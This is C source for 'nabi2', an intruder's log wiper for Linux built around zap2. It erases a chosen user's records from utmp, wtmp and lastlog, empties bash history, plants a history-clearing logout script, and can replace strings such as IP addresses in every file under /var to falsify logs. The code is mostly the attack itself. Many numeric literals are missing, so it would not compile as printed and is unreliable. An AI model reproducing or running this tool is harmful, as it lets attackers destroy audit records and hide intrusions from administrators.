nabi2.c

Nabi version 2.0 - Advanced /var log wiper for Linux.

/*

     Advanced /var log wiper for linux

     nabi ver 2 ( friendly zap2.c )


    Release Date:
    nabi ver 2 - 3.8 2006 (Wed)
         nabi ver 1 - 1.15 2006 (Sun)
 
  1: zap2)
      # ./nabi -z root
  2: history cleanup)
      # ./nabi -h
  3: string change)
      # ./nabi -r 111.111.111.111 222.222.222.222 ( you must check these strings length is same)
      # ./nabi -r 'pts/1' 'tty/0' ( yo ~! )

    Tested on:
      - Debian 3.0r1
      - RH 9.0
      - Fedora core 2
      ..

    CHANGED:
      - add program option parser for split features on this file.
      - erased minor version number of this program.

    BUG FIXED:
      - when if you typed "./nabi root 'pts/1' 'pts/2' then you may had an error
        cause the not proper slashes of 's/pts/1/pts/2' but now it's okay.
        see escape_slash().
   
  comment:
    i become a curious guy when i'm typing some code. what about you all?
    for more useful toolkit. brb!

   
*/



#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>

#define MAX_PATH        1024
#define MAX_DEPTH       128

#define  PROGRAM      "Nabi ver 2 ( <a href="mailto:[email protected]">[email protected]</a> )"


/*
#define DEBUG
*/


/* proto type */
int insert_node(char *filename);
void load_dir(int cdepth);
void init_list();
void show_list();
void exploit(char *string, char *newstring);
void history_cleanup();
void zap2_main(char *user);
void escape_slash(char *pstr);

/* linked-list stuffs for file list */
struct file_list
{
        struct file_list *next;
        int depth;
        char d_name[MAX_PATH];
} *head, *tail;

static char root_dir[] = "/var";

int main(int argc, char *argv[])
{
        struct dirent *dp;
        DIR *dir;
        int dumb;
  char opt;
  char usage[]={
      "\n%s\n Usage : %s \n\t-z [username] : zap2 lucky!\n"
      "\t-r <original string> <new string> : replace strings in all of files under /var\n"
      "\t-h : clear bash history\n\n"
  };

        if(argc == 1){
    printf(usage, PROGRAM, argv[]);
                return(-1);
        }

  /* parsing the single option */
  opt = (char)argv[1][1];

  switch(opt){
    case 'z':
          zap2_main(argv[2]);
           return();
      case 'h':
           history_cleanup();
            return();
    case 'r':
            if(strlen(argv[2]) != strlen(argv[3])){
           fprintf(stderr, "must to be two string length is same. \n");
           return(-1);
      }


      /* initialization linked-list */
         init_list();

      /* prepare root_dir(/var) is be able to use */
         if((dir = opendir(root_dir)) == NULL){
             fprintf(stderr, "can't open root directory");
             return(-2);
         }

         closedir(dir);


      /* loading file list into initialized linked-list ( MAX_DEPTH = /var/a/b/c/d... x 128 ) */
         for(dumb = 1; dumb < MAX_DEPTH; dumb++){
             load_dir(dumb);
         }

      #ifdef  DEBUG
              show_list();
      #endif

      // spoof all your strings like ipaddress under /var directories.
            exploit(argv[2], argv[3]);

    default:
      fprintf(stderr, "check your arguments Smile\n");
       }
 

return ;

}

void init_list()
{
        head = (struct file_list *) malloc(sizeof(struct file_list));
        tail = (struct file_list *) malloc(sizeof(struct file_list));

        head->depth = 1;
        strncpy(head->d_name, root_dir, MAX_PATH);
        head->next = tail;

        tail->depth = -1;
        tail->next = NULL;
}

int insert_node(char *filename)
{
        struct file_list *ipos;
        struct file_list *new_node;
        unsigned int cnt_d = ;
        char *ifilename;

        ifilename = filename;

  #ifdef  DEBUG
          printf("insert_node\n");
          printf("%s\n", ifilename);
  #endif

        while(*ifilename != '\x00')
                if(*ifilename++ == '/') cnt_d++;

  #ifdef  DEBUG
          printf("cnt_d = %d\n", cnt_d);
  #endif

        for(ipos = head; ipos->next != tail; ipos = ipos->next);
        //ipos = ipos->next;

        if((new_node = (struct file_list *)malloc(sizeof(struct file_list))) == NULL)
                return(-1);

        new_node->depth = cnt_d;
        strncpy(new_node->d_name, filename, MAX_PATH);
        new_node->next = tail;

        ipos->next = new_node;

  #ifdef  DEBUG
          printf("newnode file: %s\n", filename);
  #endif

return ;
}

void load_dir(int cdepth)
{
        struct file_list *wpos;
        DIR *dir;
        struct dirent *dp;
        char full_path[MAX_PATH];
        int dplen = ;

  #ifdef  DEBUG
          printf("load_dir\n");
  #endif

        for(wpos = head; wpos->next != NULL; wpos = wpos->next){

                if(wpos->depth == -1) return;

  #ifdef  DEBUG
                printf("wpos->depth : %d cdepth: %d\n", wpos->depth, cdepth);
  #endif
                if(wpos->depth == cdepth){

                        // insert cdepth's child directories.
                        if((dir = opendir(wpos->d_name)) == NULL){
                                continue;
                        }

                        while((dp = readdir(dir)) != NULL){
                                dplen = strlen(dp->d_name);
                                if(dp->d_name[dplen-1] != '.'){
                                        sprintf(full_path, "%s/%s", wpos->d_name, dp->d_name);
                                        insert_node(full_path);
                                }
                        }

                        closedir(dir);
                }
        }

        wpos = wpos->next;      // left last one node hmm ??
}

void show_list()
{
        struct file_list *spos;

  #ifdef  DEBUG
          printf("showlist\n");
  #endif

        for(spos = head; spos->next != NULL; spos = spos->next){
                printf("%d: %s\n", spos->depth, spos->d_name);
        }

}

void escape_slash(char *pstr)
{
  char orig[512];
  char *tmp;
  int pos = ;

  tmp = pstr;

  memset(orig, , sizeof(orig));

  while(*tmp != '\x00'){
    if(*tmp != '/')
      orig[pos++] = *tmp;
    else{
      orig[pos++] = '\\';
      orig[pos++] = '/';
    }

    tmp++;
  }

  pstr = orig;

  #ifdef  DEBUG
    printf("%s\n", pstr);
  #endif

}


/* thanks for this nice program sed and mv */
#define NICE_SED        "/bin/sed"
#define USEFUL_MV       "/bin/mv"

void exploit(char *string, char *newstring)
{
        struct file_list *epos;
        struct stat nabistat;
        char command[512];
        char tmp_file[128];

        if(strlen(string) != strlen(newstring)){
                perror("must to be two argument's length is same. \n");
                return;
        }

        for(epos = head; epos->next != NULL; epos = epos->next){
                lstat(epos->d_name, &nabistat);

                if(S_ISREG(nabistat.st_mode)){
     
      #ifdef  DEBUG
                          printf("THIS IS REGULAR FILE>> %s\n", epos->d_name);
      #endif
                       
      sprintf(tmp_file, "%s.sed", epos->d_name);

      escape_slash(string);
      escape_slash(newstring);

                        sprintf(command, "%s 's/%s/%s/g' %s > %s.sed; %s %s %s; rm -rf %s",
                                NICE_SED, string, newstring, epos->d_name, epos->d_name,
                                USEFUL_MV, tmp_file, epos->d_name,
                                tmp_file);

               //         system(command);
     
      #ifdef  DEBUG
                          printf("%s\n", command);
      #endif
                }
        }


}


void history_cleanup()
{

  /* request new machnism for this function */
  system("w; last; lastlog; echo > ~/.bash_history");
  system("echo 'clear;history -c' > ~/.bash_logout");

}




 
/*

  zap2.c ( combined ).

*/


 
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
  struct utmp utmp_ent;
 
    if ((f=open(UTMP_NAME,O_RDWR))>=) {
      while(read (f, &utmp_ent, sizeof (utmp_ent))> )
        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
          bzero((char *)&utmp_ent,sizeof( utmp_ent ));
          lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
          write (f, &utmp_ent, sizeof (utmp_ent));
        }
      close(f);
    }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
  if ((f=open(WTMP_NAME,O_RDWR))>=) {
 
       while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
          if (read (f, &utmp_ent, sizeof (struct utmp))<) {
            pos = -1L;
          } else {
         
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
            bzero((char *)&utmp_ent,sizeof(struct utmp ));
            lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
            write (f, &utmp_ent, sizeof (utmp_ent));
            pos = -1L;
          } else pos += 1L;
        }
      }
    close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
  if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= ) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), );
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 


void zap2_main(char *user)
{

        kill_lastlog(user);
        kill_wtmp(user);
        kill_utmp(user);

  printf("nabi: Zap2!\n");

}